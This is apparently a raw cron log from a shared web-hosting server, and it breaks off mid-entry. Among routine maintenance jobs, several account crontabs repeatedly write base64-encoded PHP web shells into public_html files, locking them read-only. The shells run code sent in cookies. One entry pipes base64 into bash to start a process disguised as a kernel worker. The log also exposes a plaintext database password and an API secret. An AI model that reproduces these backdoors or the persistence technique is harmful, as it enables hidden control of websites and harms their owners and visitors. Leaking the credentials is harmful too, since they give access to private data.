Mar  1 09:59:01 medusa CROND[9370]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:59:01 medusa CROND[9371]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:59:01 medusa CROND[9378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:59:01 medusa CROND[9381]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:59:01 medusa CROND[9382]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:59:01 medusa CROND[9383]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:00:01 medusa CROND[31398]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:00:01 medusa CROND[31430]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:00:01 medusa CROND[31431]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:00:01 medusa CROND[31465]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:00:01 medusa CROND[31674]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31675]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 10:00:01 medusa CROND[31676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31677]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31678]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:00:01 medusa CROND[31681]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31685]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:00:01 medusa CROND[31686]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:00:01 medusa CROND[31691]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31689]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 10:00:01 medusa CROND[31692]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 10:00:01 medusa CROND[31694]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:00:01 medusa CROND[31700]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:00:01 medusa CROND[31702]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:00:01 medusa CROND[31703]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31699]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31695]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:00:01 medusa CROND[31683]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 10:00:01 medusa CROND[31718]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31721]: (modulablecom) CMD (wget -q -O https://modulable.com.ar/cron.php >/dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:00:01 medusa CROND[31723]: (larompe) CMD (mysqldump -u larompe -pCrossfit1988 --databases larompe_cervecerias |   gzip -c >/home5/larompe/backups/`date   -I`_cervecerias.sql.gz)
Mar  1 10:00:01 medusa CROND[31726]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31722]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 10:00:01 medusa CROND[31724]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:00:01 medusa CROND[31729]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 10:00:01 medusa CROND[31725]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:00:01 medusa CROND[31732]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:00:01 medusa CROND[31734]: (modulablecom) CMD (wget -q -O https://tienda.modulable.com.ar/cron.php >/dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31744]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:00:01 medusa CROND[31749]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:00:01 medusa CROND[31748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 10:00:01 medusa CROND[31728]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 10:00:01 medusa CROND[31756]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 10:00:01 medusa CROND[31727]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 10:01:01 medusa CROND[21527]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:01:02 medusa CROND[21554]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:01:02 medusa CROND[21602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:01:02 medusa CROND[21603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:01:02 medusa CROND[21605]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:01:02 medusa CROND[21607]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 